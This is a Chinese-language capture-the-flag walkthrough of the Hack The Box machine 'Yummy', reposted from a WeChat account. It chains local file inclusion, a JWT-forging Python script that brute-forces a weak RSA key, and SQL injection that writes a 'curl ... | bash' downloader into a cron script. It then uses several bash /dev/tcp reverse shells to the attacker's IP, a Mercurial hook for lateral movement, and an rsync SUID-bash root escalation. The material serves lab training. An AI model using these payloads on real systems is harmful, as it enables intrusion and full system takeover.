HTB靶场 Yummy(Linux)[Hard]

admin 2024年10月14日08:33:19评论133 views字数 6611阅读22分2秒阅读模式
本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:本地文件包含、JWT伪造、SQL注入、MERCURIAL HOOK越权、RSYNC提权。  

kali:10.10.16.17
Tricker:10.10.11.36
0001.信息收集
首先使用nmap扫描目标机器,开放的端口只有22端口和80端口。
nmap -sC -sV -O -oN nmap.txt 10.10.11.36
HTB靶场 Yummy(Linux)[Hard]
查看主页如下,这是一个餐厅预定的网站,涉及的功能有
注册:/register
登录:/login
用餐预定:/book
预定信息查看:/dashboard
预定信息下载:/reminder/21
留言板:/
HTB靶场 Yummy(Linux)[Hard]
/dashboard可以下载预定的信息,根据下载的内容可以确定网站后端语言是python
HTB靶场 Yummy(Linux)[Hard]    
0002.本地文件包含漏洞获取网站备份
下载预定信息的过程是先请求/reminder/21,再请求/export/Yummy_reservation_xxx.ics
HTB靶场 Yummy(Linux)[Hard]
后端语言是python,可以判断/reminder/export就是请求的路径,/21/Yummy_reservation_xxx.ics是参数值。
修改/21,尝试越权失败。
尝试修改/Yummy_reservation_xxx.ics,修改为/export/../../etc/passwd读取成功,说明有本地文件包含漏洞。
HTB靶场 Yummy(Linux)[Hard]
以下是读取各种敏感文件的结果:    
尝试读取/export/app.py/export/static/js/main.js失败,/static/js/main.js是静态文件,网站可以直接访问到,所以这里猜测/export/有前缀,而且前缀路径和网站不在一个目录,后面获取源码后确定了这个猜测。
由返回包可知中间件为Caddy,读取配置文件/etc/caddy/Caddyfile
Caddy后面还有个中间件,Caddy只是将3000端口代理转发到80端口,获取网站目录失败。
HTB靶场 Yummy(Linux)[Hard]
中间还读取了很多其它文件,最后在/etc/crontab得到重要信息下面逐一讲解各个文件。
/data/scripts/app_backup.sh/data/scripts/table_cleanup.sh/bin/bash /data/scripts/dbmonitor.sh
HTB靶场 Yummy(Linux)[Hard]
/data/scripts/app_backup.sh文件,是一个备份网站的文件,/var/www/backupapp.zip获取网站备份文件。
HTB靶场 Yummy(Linux)[Hard]
/var/www/backupapp.zip文件目录
HTB靶场 Yummy(Linux)[Hard]
/data/scripts/table_cleanup.sh文件的作用就是对数据库定时进行清理,我们在攻击时,每过一段时间预定信息就会被清空就是这个文件造成的。
HTB靶场 Yummy(Linux)[Hard]
data/scripts/sqlappointments.sql    
HTB靶场 Yummy(Linux)[Hard]
/data/scripts/dbmonitor.sh
该文件功能:判断mysql是否运行,如果没有运行,则向root用户发送邮件。
如果mysql运行,则判断/data/scripts/dbstatus.json文件中是否存在,且是否包含"database is down"。
如果包含则依然给root用户发送邮件;如果不包含,则执行所有匹配/data/scripts/fixer-v*的文件,对mysql进行修复。
#!/bin/bashtimestamp=$(/usr/bin/date)service=mysqlresponse=$(/usr/bin/systemctl is-active mysql)if [ "$response" != 'active' ]; then        /usr/bin/echo "{"status": "The database is down", "time": "$timestamp"}" > /data/scripts/dbstatus.json    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)    /bin/bash "$latest_version"else    if [ -f /data/scripts/dbstatus.json ]; then        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then            /usr/bin/echo "The database was down at $timestamp. Sending notification."            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root            /usr/bin/rm -f /data/scripts/dbstatus.json        else            /usr/bin/rm -f /data/scripts/dbstatus.json            /usr/bin/echo "The automation failed in some way, attempting to fix it."            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)                /bin/bash "$latest_version"        fi    else        /usr/bin/echo "Response is OK."    fifi[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
0003.JWT伪造获取管理界面
网站根目录如下:
HTB靶场 Yummy(Linux)[Hard]
app.py文件中,发现后台管理界面,访问管理界面会判断是否是administrator
HTB靶场 Yummy(Linux)[Hard]    
查看login函数,可以看到JWT生成过程。重点看signature.key.export_key(),这个就是私钥,如果我们有了这个私钥,我们就可以伪造JWT。
HTB靶场 Yummy(Linux)[Hard]
将JWT解析,可以看到字段是能对上的。重点看role,如果将值改成administrator,就可以访问管理界面。
HTB靶场 Yummy(Linux)[Hard]
再看私钥的生成过程,/config/signature.py文件。    
私钥的生成最基本的四个参数是q、n、e、p。
e已经直接给出,n在上图中的JWT解密中也直接给出了。
这行代码表示q取2**19到2**20之间随机质数,但是因为取值范围很小,我们可以直接穷举
q = sympy.randprime(2**19, 2**20)
n和q都有了,那么p可以直接算出。
HTB靶场 Yummy(Linux)[Hard]
根据以上信息写出如下代码    
from Crypto.PublicKey import RSAimport sympyimport jwtimport base64import jsoncookie = "" # 填入JWT原始值base64Str = cookie.split('.')[1]decodeFlag = 1while decodeFlag:    try:        decodeStr = base64.b64decode(base64Str)        decodeFlag = 0    except Exception as e:        base64Str = base64Str + "="        print(e)payload = json.loads(decodeStr)payload['role'] = 'administrator'n = int(payload['jwk']['n'])for i in range(2**19, 2**20):        q = i    e = 65537    p = n // q    try:        phi_n = (p - 1) * (q - 1)        d = pow(e, -1, phi_n)        key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}        key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))    except Exception as e:        continue    access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')print(access_token)
将计算出来的cookieburpsuite – Proxy – Proxy settings – Match and replace rules进行设置,这样每次请求时会自动替换cookie中JWT的值。    
HTB靶场 Yummy(Linux)[Hard]
成功访问到/admindashboard
HTB靶场 Yummy(Linux)[Hard]
0004.SQL注入获取mysql用户权限
/admindashboard的搜索功能有两个参数s和o,s是搜索,o是排序。
HTB靶场 Yummy(Linux)[Hard]
再查看源码,明显参数o存在sql注入
HTB靶场 Yummy(Linux)[Hard]
经过测试,可以对系统中写入文件,请求下列链接两次,会返回sql错误,提示文件已存在,说明文件写入成功
?s=&o=ASC;select+version()+into+outfile+"/tmp/1.txt"%3b
HTB靶场 Yummy(Linux)[Hard]
还记得前面/data/scripts/dbmonitor.sh定时任务中存在的漏洞吗,这里我们就需要利用这个漏洞反弹shell。
a.首先在本地新建一个文件ryummy.sh,并且开启http监听。
echo "bash -i >& /dev/tcp/10.10.16.17/4445 0>&1">ryummy.sh    python -m http.server 80
b.在另一个端口监听4445端口
nc -lnvp 4445
c.通过sql注入将利用代码写入到靶机中/data/scripts/fixer-vyummy文件中。
?s=&o=ASC;select+"curl+10.10.16.17/ryummy.sh|bash"+into+outfile+"/data/scripts/fixer-vyummy"%3b
HTB靶场 Yummy(Linux)[Hard]
d.写入任意信息到靶机的/data/scripts/dbstatus.json
?s=&o=ASC;select+version()+into+outfile+"/data/scripts/dbstatus.json"%3b
HTB靶场 Yummy(Linux)[Hard]
成功获取mysql用户权限
HTB靶场 Yummy(Linux)[Hard]
0005.通过定时任务获取www-data用户权限
还记得刚才/etc/crontab中的定时任务吗?所有的脚本都在/data/scripts/文件夹下,mysql用户对app_backup.sh没有写的权限。
HTB靶场 Yummy(Linux)[Hard]
但是任意用户对/data/scripts/文件夹有任意权限,我们可以将app_backup.sh文件改名,然后另外拷贝个app_backup.sh文件进来。    
HTB靶场 Yummy(Linux)[Hard]
在kali监听4446端口
nc -lnvp 4446
/tmp中创建app_backup.sh,并且修改app_backup.sh文件名,并且拷贝/tmp/app_backup.sh/data/scripts/
echo “bash -i >& /dev/tcp/10.10.16.17/4446 0>&1” > /tmp/app_backup.shmv /data/scripts/app_backup.sh /data/scripts/app_backup_bak.shcp /tmp/app_backup.sh /data/scripts/app_backup.sh
获取www-data权限
HTB靶场 Yummy(Linux)[Hard]
0006.通过Mercurial历史信息获取qa用户权限
进入/var/www/目录,找到app-qatesting文件夹,这可能是对网站进行性能测试的。进入/var/www/app-qatesting里面发现.hg文件夹。    
HTB靶场 Yummy(Linux)[Hard]
网上搜索.hg文件夹,找到如下资料,功能类似github的文档管理。

Mercuria使用指南

https://book.mercurial-scm.org/read/tour-basic.html#
使用如下命令执行查看日志,里面qa和dev用户进行了很多操作。
hg log    
HTB靶场 Yummy(Linux)[Hard]
使用如下命令,可以看到每次修改的明细,里面发现了qa用户的密码。
hg log -r . -vp    
HTB靶场 Yummy(Linux)[Hard]
获取qa用户权限
ssh qa@10.10.11.36
HTB靶场 Yummy(Linux)[Hard]
0007.通过Mercurial HOOK获取dev用户权限
得到qa用户权限后,使用sudo -l,发现可以以dev用户执行指定命令。HTB靶场 Yummy(Linux)[Hard]
这条命令就是将拉取/home/dev/app-production/文件夹的文件。
/usr/bin/hg pull /home/dev/app-production/
通过询问AI整个拉取的过程,发现有配置文件hgrc
HTB靶场 Yummy(Linux)[Hard]
再询问hgrc配置文件详解,可以指定钩子,在做特定操作时执行命令
HTB靶场 Yummy(Linux)[Hard]
且可以在pull时执行特定命令    
HTB靶场 Yummy(Linux)[Hard]
具体步骤如下:
a.在linux监听4447端口
nc -lnvp 4447
b.在靶机上创建利用文件/tmp/rdev.sh,并且赋权。
#!/bin/bashbash -i >& /dev/tcp/10.10.16.17/4447 0>&1
授权以方便dev用户执行
chmod 777 rdev.sh
创建rdevhg文件夹
mkdir /tmp/rdevhg
初始化仓库
cd /tmp/rdevhghg initchmod 777 -R /tmp/rdevhg    
创建hgrc文件,在/home/qa目录下就有.hgrc文件,可以copy后修改。
cp /home/qa/.hgrc /tmp/rdevhg/.hg/hgrcvim /tmp/rdevhg/.hg/hgrc
HTB靶场 Yummy(Linux)[Hard]
/tmp/rdevhg目录执行如下命令,成功获取dev权限。
sudo -u dev hg pull /home/dev/app-production/
HTB靶场 Yummy(Linux)[Hard]
0008.rsync获取root权限
获取dev用户权限后,再次运行sudo -l,发现dev用户可以不需要密码以root权限执行指定命令。    
HTB靶场 Yummy(Linux)[Hard]
该命令作用就是从/home/dev/app-production/(排除.hg文件)文件夹拷贝文件到/opt/app/
/usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
根据刚才qa用户到dev用户,大家应该都知道要什么,我们需要找到配置文件或者某个参数,可以在执行上列命令时达到提权效果。
使用rsync -h查看rsync所有的参数,在尝试几次后,发现chown可以改变指定文件夹的所有权。
HTB靶场 Yummy(Linux)[Hard]    
思路就是将/bin/bash拷贝到/home/dev/app-production/,然后添加u+s权限,在利用上述命令拷贝到/opt/app,但是我们在命令中可以加上参数chown,让拷贝过去的bash文件归属root用户,bash文件这时候就可以以root用户权限执行。
因为靶机会一直对程序进行覆盖,所以需要一次执行完,利用如下命令直接获取root权限。
分句:
cp /bin/bash /home/dev/app-production/bashchmod u+s /home/dev/app-production/bashsudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ls -la /opt/app//opt/app/bash -p   
执行版:
cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && ls -la /opt/app/ && /opt/app/bash -p   
HTB靶场 Yummy(Linux)[Hard]
感谢收看!    

原文始发于微信公众号(Rsec):HTB靶场 Yummy(Linux)[Hard]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日08:33:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场 Yummy(Linux)[Hard]https://cn-sec.com/archives/3263352.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息